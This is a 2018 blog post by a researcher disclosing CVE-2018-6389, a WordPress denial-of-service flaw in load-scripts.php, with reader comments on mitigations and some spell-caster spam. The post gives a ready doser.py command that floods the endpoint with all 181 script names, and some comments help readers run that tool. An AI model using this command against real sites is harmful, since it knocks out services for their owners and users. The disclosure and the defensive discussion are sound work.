Monday, February 5, 2018

How to DoS 29% of the World Wide Websites - CVE-2018-6389

According to wordpress.com, the WordPress platform powers 29% of the worldwide internet websites.
In this article I am going to explain how Denial of Service can easily be caused to almost any WordPress website online, and how you can patch your WordPress website in order to avoid this vulnerability being exploited.
It is important to note that exploiting this vulnerability is illegal, unless you have permission from the website owner.


While browsing a WordPress website, my attention was drawn to the following URL:


The load-scripts.php file receives a parameter called load[], the parameter value is 'jquery-ui-core'. In the response, I received the JS module 'jQuery UI Core' that was requested, as demonstrated in the following image:






What can be concluded from this URL, is that it is probably meant to supply users with some JS modules. In addition, the load[] parameter is an array, which means that it is possible to provide multiple values and be able to get multiple JS modules within the response.


As WordPress is open-source, it is easy to perform code review and explore this feature. After doing so, I realized that this feature was designed to economize the amount of requests sent from the client while trying to load JS or CSS files, so when the browser needs to load multiple JS/CSS files, it will use load-scripts.php (for JS) or load-styles.php (for CSS files) and the browser will get multiple JS/CSS files through a single request- so performance-wise it is better to do so and the page will load faster. This feature was designed only for the admin pages, but is also used on the wp-login.php page, so no authentication is enforced on these files.

First, I tried to manipulate this feature and provide a list of the 'jquery-ui-core' value multiple times as follows:


I thought I might make the server read the same file over and over again and append it to the same response, but the use of the 'array_unique' function removes duplicates in arrays so that didn’t succeeded:





I kept exploring the code and found something that looked interesting in the following code snippet, which I wanted to investigate further:


There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user.


The wp_scripts list is hard-coded and is defined in the script-loader.php file:





There are 181 values in this list:
eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter


I wondered what would happen if I sent the server a request to supply me every JS module that it stored? A single request would cause the server to perform 181 I/O actions and provide the file contents in the response.

So I tried it, I sent the request to the server:


The server responded after 2.2 seconds, with almost 4MB of data, which made the server work really hard to process such a request.
So I decided to use doser.py, a simple tool that I wrote, designed to constantly repeat requests (yes, I know Python threads suck, but I still love Python!) in order to cause DoS, and guess what? it worked! :)
python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999


As long as I kept sending those requests to the server, it was too busy to handle any other request, and I had effectively (and easily) caused DoS.


It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so.
After ~500 requests, the server didn't respond at all any more, or returned 502/503/504 status code errors like:






Full PoC video:



WordPress has a bug bounty program, and I contacted them about this issue, even though I knew DoS vulnerabilities are out-of-scope, I reported it through HackerOne and explained the vulnerability, I thought they would understand that there is a security issue here and properly address it. After going back and forth about it a few times and my trying to explain and provide a PoC, they refused to acknowledge it and claimed that:
"This kind of thing should really be mitigated at the server or network level rather than the application level, which is outside of WordPress's control."


Even though I was extremely frustrated about them not acknowledging this as a vulnerability, I kept on exploring how I can mitigate this attack, and forked WordPress project and patched it so no one but authenticated users can access the load-*.php files, without actually harming the wp-login.php file functionality. So if you are currently using, or are about to use, WordPress, I would highly recommend you use the patched version.
In case you already have a WordPress website on a Linux machine, I created this bash script that modifies the relevant files in order to mitigate the vulnerability.

58 comments:

  1. Thanks for the research!
    Rolled the fix out to all our clients at https://www.webarxsecurity.com

    ReplyDelete
    Replies
    1. Are you sure the patch ran? did you ran it from WP root directory?
      because it is still accessible:
      https://www.webarxsecurity.com/wp-admin/load-scripts.php

      Glad to help you guys be safe :)

      Delete
  2. Would rate limiting requests to `wp-login.php` via the server mitigate against this attack? E.g., 15r/min

    ReplyDelete
    Replies
    1. It solve it from DoS attack, but DDoS still can be performed.

      Delete
    2. So doing the rate limiting at the 3rd party firewall service provider e.g., CloudFlare would completely mitigate this specific attack?

      Delete
    3. Can't any excessive request for a file from a server be called a DDoS if abused by an attacker?

      Delete
    4. For the 1st Q, it might mitigate, but not 100%.
      about the 2nd, excessive request from single machine cannot be called DDOS.

      Delete
  3. I patched with vulnerability by password protecting /wp-admin/ directory, Thank you guys.

    ReplyDelete
    Replies
    1. Just make sure that you are protecting /wp-admin/load-scripts.php as well, and not just /wp-admin/ directory.

      Delete
  4. while load-scripts.php it's inside /wp-admin/ I tried to access and it is protected

    ReplyDelete
  5. Hello, well done!

    I also create a small module to for vulnerability check.

    https://twitter.com/Ali_Razmjo0/status/960619392731156480
    https://github.com/viraintel/OWASP-Nettacker

    ReplyDelete
    Replies
    1. Thanks!
      Great work with the module, i will check this tool later

      Delete
  6. Hello Barak, thank you for sharing some knowledge with us mere mortals! Just wondering, where did you learn all these things? I'd like to work with information security someday, but don't know where to start studying.

    ReplyDelete
    Replies
    1. Hey, there is many ways to learn about security and it never ends, i am still learning everyday.
      My tips is to focus of specific subject of security because they are many subjects, in my case, i focused on application security, which i would say that you need really good understanding the protocols (TCP/IP, HTTP), and i think it is really helpful to know developing and writing code.

      Delete
  7. https://github.com/devcoinfet/doser.py

    good work man if you see any errors or have a few suggestions let me know, maybe we can merge some of My changes into Yours.

    ReplyDelete
    Replies
    1. Let me think about that, because this script was designed in order to perform DoS attack in general and not a specific attack.
      Anyway, thanks!

      Delete
  8. OMG, if you send 9999 requests in parallel, you can down many sites, not only WP (provided that you have enough bandwidth).

    But what exactly is this vulnerability? 186 I/O requests? OS will cache files in memory after a few requests. I think you can achieve better results hammering hXXp://your-site/?s=some-random-string - WP uses LIKE to search posts, and this will be much more resource consuming than load-scripts.php.

    ReplyDelete
    Replies
    1. It is more like ~500, cache-breaker(random-string param) will always help for DoS attacks.
      But you are not right about that it will be more resource consuming than load-scripts, because load-scripts make the server work harder, due to the fact it performing 181 I/O actions and the response include around 4MB of data.
      It looks like you didn't read all the article, you can check it out again.

      Delete
    2. I did and I tested it on my server.

      The server responded in ~180 ms (nginx + php-fpm) + 1.5 seconds to download the response (I was on a slow connection). So: 180 ms is how much time php-fpm worked, 1.5 seconds - nginx. Yes, this is an issue if you use mod_php and Apache in prefork but the same way you can DoS even index.php.

      > But you are not right about that it will be more resource consuming than load-scripts, because load-scripts make the server work harder, due to the fact it performing 181 I/O actions and the response include around 4MB of data.

      Just benchmark :-) 181 I/O actions could be critical for the very first response if you are on a low-end VPS, after that the OS will put the files to the cache and I/O impact will be lower.

      MySQL search will affect both CPU (search for random string across all posts - MySQL will be unable to use indexes, at most it will use Turbo-Boyer-Moore algorithm) and I/O (database reads).

      > cache-breaker(random-string param)

      With 9999 parallel requests (like in your example) you can DoS any misconfigured server, even simple PHP file with echo 'Hello world': if the server uses Apache + prefork, this will exhaust RAM on forks, if this is php-fpm, this will make all workers busy.

      Delete
    3. You are so right, thank you. I mean you have file cache and a lot of other caches, and a lot of websites have cloudlfare or WAF these days, you really can't DDOS 29% of the WWW with this more likely 0.1% that is really poorly configured..

      Delete
  9. I got an error
    Traceback (most recent call last):
    File "doser.py", line 1, in
    import requests
    ImportError: No module named requests

    ReplyDelete
    Replies
    1. you should install requests module:
      pip install requests

      Delete
  10. Hi. Thanks for the info. If I have only Cpanel access, which files do I need to change?
    So far I added two lines to the wp-login.php
    and remove aloms all lines from noop.php
    Which made the /wp-admin/load-scripts.php page to give 500 error instead of Blank screen.
    any more changes?

    ReplyDelete
    Replies
    1. If you have to ask this kind of question, this is above your understanding. The fact that you just deleted the contents of a WP core file indicates you should leave this alone and just install a good security plugin on your website.

      Delete
    2. Please use the bash file i created to patch. it is not recommended to patch it by yourself, you can easily cause errors.
      you should add only one line to wp-login.php
      and not removing all noop functions, you should leave the get_file function there.

      Delete
    3. Hi! WordPress team often refuses a lot of issues like this. It seems there is a solution as a plugin though: https://wordpress.org/plugins/wp-cerber/

      Delete
  11. Hello
    while trying to run the Dos tool i am getting a syntax error "missing paranthesis in call to print Did you mean print(t ' etcc.. on line 15

    Any solution for this?

    ReplyDelete
    Replies
    1. That's probably because you're trying to run OP's code with Python 3 instead of Python 2. Try changing line 15 to:

      "print("\n" + msg + " after %i requests" % request_counter)"

      (without the quotes).

      Delete
  12. This is interesting and I'll patch against this but if this this isn't rolled into the WP core isn't going to be overwritten with every WP release?

    ReplyDelete
    Replies
    1. Yes, youll need to run the patch script each upgrade.
      There are other ways to mitigate this like restrict wp-admin with password or just map it to unknown path.

      Delete
    2. I think mapping wp-admin to an unknown path is not a good idea because an attacker using Dirb or another scanner could easily crawl the url, don't you think?

      Delete
  13. Hello? I'm Brazilian, and I'm sorry for using google translator. I'm a bit scared with wordpress insecurity notes lately, and I'm sysadm on my own shared server.

    I currently offer my clients only one wordfence plugin that already has a firewall.

    could you give me tips on how to protect my official blog from the provider company since I do not program very well in php languages?

    blog.hostcuritiba.net.br

    I accept suggestions, tips or procedures to perform on wordpress.

    Thank you!

    ReplyDelete
  14. Is there a fix for WordPress IIS installations?

    ReplyDelete
    Replies
    1. I use this plugin to protect my WP: https://wordpress.org/plugins/wp-cerber/

      Delete
    2. Not really, you can see what changes i made on Github and perform the same to you, but make it on staging environment because you might cause some problems.

      Delete
    3. I tried the changes in the windows environment and it doesn't work. The plugin WP-Cerber doesn't work either. I'll need to figure out another way to allow access to the wp-admin folder to logged in users.

      Delete
  15. This comment has been removed by a blog administrator.

    ReplyDelete
  16. There was a problem with Wordpress for automatic update, our blog reports that the team of developers are working for the adjustment, since it occurred with the current version after upgrade.

    I believe that soon they have a solution to give continuity in automatic updating core updates.

    ReplyDelete
  17. This comment has been removed by the author.

    ReplyDelete
  18. Hi,

    A temporary patch may be applied using modsecurity as mentioned here

    https://www.networks.guru/2018/02/11/patching-wordpress-dos-vulnerability-cve-2018-6389-using-modsecurity/

    This should be a viable solution until a fix is released

    ReplyDelete
  19. hey guys it try it in version 4.9.3 but dosent work i have this error 'load%5B%5D' unknow into commend not found why ?

    ReplyDelete
  20. This comment has been removed by the author.

    ReplyDelete
  21. Large parameters and repeated requests should be automatically throttled by a WAF. It's 2018, if you don't have a WAF then it's natural selection at this point.

    ReplyDelete
  22. hey barak, why are you removing empty functions from noop.php , there is no need to do so in all the newer versions i checked?

    ReplyDelete
    Replies
    1. To avoid redecleration errors, these functions i removed are already declared on admin.php file

      Delete
  23. Here's a brief post on mitigating this vulnerability if you're using lighttpd:

    https://www.yukei.net/2018/03/mitigating-cve-2018-6389-wordpress-dos-attack-with-lighttpd/

    ReplyDelete
  24. This comment has been removed by a blog administrator.

    ReplyDelete
  25. Hello, I am Demetria Rogers. After being in relationship with my husband for years, he broke up with me. I did everything within my reach to bring him back but all was in vain, I wanted him back so badly because of the love I had for him, I begged him with everything, I made promises but he refused. I explained my problem to my friend and she suggested that I should rather contact a spell caster that could help me cast a spell to bring him back , I had no choice than to try it. I messaged the spell caster, and he assured me there was no problem and that everything will be okay before three days. He cast the spell and surprisingly on the second day, my husband called me. I was so surprised, I answered the call and all he said was that he was so sorry for everything that had happened He wanted me to return to him. He also said he loved me so much. I was so happy and went to him that was how we started living together happily again. The spell casters email is : drjazazasolution@gmail.com. You can email him if you need his assistance in your relationship or any other Case.

    Doctor Jazaza could help you with the following:

    1) Love Spells

    2) Lost Love Spells

    3) Divorce Spells

    4) Marriage Spells

    5) Binding Spell.

    6) Breakup Spells

    7) Banish a past Lover

    8.) You want to be promoted in your office/ Lottery spell

    9) want to satisfy your lover

    Contact this great man if you are having any problem for a lasting solution



    through drjazazasolution@gmail.com

    ReplyDelete
  26. Hello, I am Demetria Rogers. After being in relationship with my husband for years, he broke up with me. I did everything within my reach to bring him back but all was in vain, I wanted him back so badly because of the love I had for him, I begged him with everything, I made promises but he refused. I explained my problem to my friend and she suggested that I should rather contact a spell caster that could help me cast a spell to bring him back , I had no choice than to try it. I messaged the spell caster, and he assured me there was no problem and that everything will be okay before three days. He cast the spell and surprisingly on the second day, my husband called me. I was so surprised, I answered the call and all he said was that he was so sorry for everything that had happened He wanted me to return to him. He also said he loved me so much. I was so happy and went to him that was how we started living together happily again. The spell casters email is : drjazazasolution@gmail.com. You can email him if you need his assistance in your relationship or any other Case.

    Doctor Jazaza could help you with the following:

    1) Love Spells

    2) Lost Love Spells

    3) Divorce Spells

    4) Marriage Spells

    5) Binding Spell.

    6) Breakup Spells

    7) Banish a past Lover

    8.) You want to be promoted in your office/ Lottery spell

    9) want to satisfy your lover

    Contact this great man if you are having any problem for a lasting solution



    through drjazazasolution@gmail.com

    ReplyDelete
  27. Web services are client and server applications that communicate over the World Wide Web’s (WWW) HyperText Transfer Protocol (HTTP). Web services provide a standard means of inter operating between software applications running on a variety of platforms and frameworks. Web Design Services

    ReplyDelete
  28. I want the world to know about the great Chief Priest of Iseh River Shrine called PRIEST AGBAKA, he has the perfect solution to relationship issues and marriage problems using his spiritual powers from ISEH GODDESS. The main reason why i went to PRIEST AGBAKA was for solution on how i can get my husband back because in recent times i have read some live testimonies on the internet about PRIEST AGBAKA and i was so pleased which made me decide to seek for assistance from him on his email [ ISEHSPIRITUALTEMPLE@GMAIL.COM ]. He did a perfect job by casting a spiritual love spell on my husband and made him to return back to me. PRIEST AGBAKA told me that the great Iseh river love spell would take effect on my husband within the next 4 hours after the spell was done, but i was so desperate that i couldn't wait 2 hours after the spell. i immediately messaged my husband on Facebook, and i was surprised that my husband who hasn't responded to my calls and messages for 8 months since we separated replied immediately to me and asked for my phone number. i sent it to him and in few seconds he called me and started begging for forgiveness. It a great Miracle and i will not stop publishing the name of PREIST AGBAKA and the ISEH River Shrine on the net because of the good work he is doing. I will drop his contact for the usefulness of those that needs his help. His Email PRIEST AGBAKA "CONTACT via [ isehspiritualtemple@gmail.com and +2348103710768]. You can contact him today and get your problem solved.

    ReplyDelete